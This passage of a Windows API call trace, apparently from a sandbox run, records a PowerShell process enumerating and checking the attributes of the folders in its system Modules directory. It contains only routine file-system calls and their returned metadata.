ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkSwitchManager", cAlternateFileName="NETWOR~2")) returned 1 [0200.679] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5046f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9aaec8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkTransition", cAlternateFileName="NETWOR~3")) returned 1 [0200.680] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc50532d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PcsvDevice", cAlternateFileName="PCSVDE~1")) returned 1 [0200.680] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PKI", cAlternateFileName="")) returned 1 [0200.680] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a46ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnpDevice", cAlternateFileName="PNPDEV~1")) returned 1 [0200.680] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a53a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9f739d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrintManagement", cAlternateFileName="PRINTM~1")) returned 1 [0200.680] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc6cc509, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea1d607, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0200.681] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0200.681] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8049ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea69acb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0200.681] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc804db7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0200.681] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8051d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflow", cAlternateFileName="PSWORK~1")) returned 1 [0200.681] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8055f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflowUtility", cAlternateFileName="PSWORK~2")) returned 1 [0200.682] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc90f57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScheduledTasks", cAlternateFileName="SCHEDU~1")) returned 1 [0200.682] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecureBoot", cAlternateFileName="SECURE~1")) returned 1 [0200.682] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c0cbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmbShare", cAlternateFileName="")) returned 1 [0200.682] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmbWitness", cAlternateFileName="SMBWIT~1")) returned 1 [0200.682] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3b3e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartLayout", cAlternateFileName="STARTL~1")) returned 1 [0200.682] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c4795, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eadc202, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage", cAlternateFileName="")) returned 1 [0200.683] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLS", cAlternateFileName="")) returned 1 [0200.683] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c6b67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0200.683] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrustedPlatformModule", cAlternateFileName="TRUSTE~1")) returned 1 [0200.683] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfc9ca45b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0200.683] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VpnClient", cAlternateFileName="VPNCLI~1")) returned 1 [0200.683] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca67fa6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wdac", cAlternateFileName="")) returned 1 [0200.684] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca68f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsDeveloperLicense", cAlternateFileName="WINDOW~1")) returned 1 [0200.684] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca69a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsErrorReporting", cAlternateFileName="WINDOW~2")) returned 1 [0200.684] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsSearch", cAlternateFileName="WINDOW~3")) returned 1 [0200.684] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca6b8d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb286c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate", cAlternateFileName="WINDOW~4")) returned 1 [0200.684] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.684] FindClose (in: hFindFile=0x1ef704a9e60 | out: hFindFile=0x1ef704a9e60) returned 1 [0200.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.685] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0200.685] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0200.685] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0200.685] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0200.685] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0200.685] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0200.685] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0200.685] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", nBufferLength=0x45, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", lpFilePart=0x0) returned 0x44 [0200.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.686] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appbackgroundtask"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbe3ca03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0200.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.686] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0200.686] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0200.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.686] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbe3d0e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86a9bef, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.686] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0200.686] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", lpFilePart=0x0) returned 0x3d [0200.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.686] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0200.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.687] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0200.687] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0200.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.687] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.687] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0200.687] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", nBufferLength=0x42, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", lpFilePart=0x0) returned 0x41 [0200.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.687] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\assignedaccess"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.687] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0200.687] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", lpFilePart=0x0) returned 0x3c [0200.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.688] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitlocker"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0200.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.688] 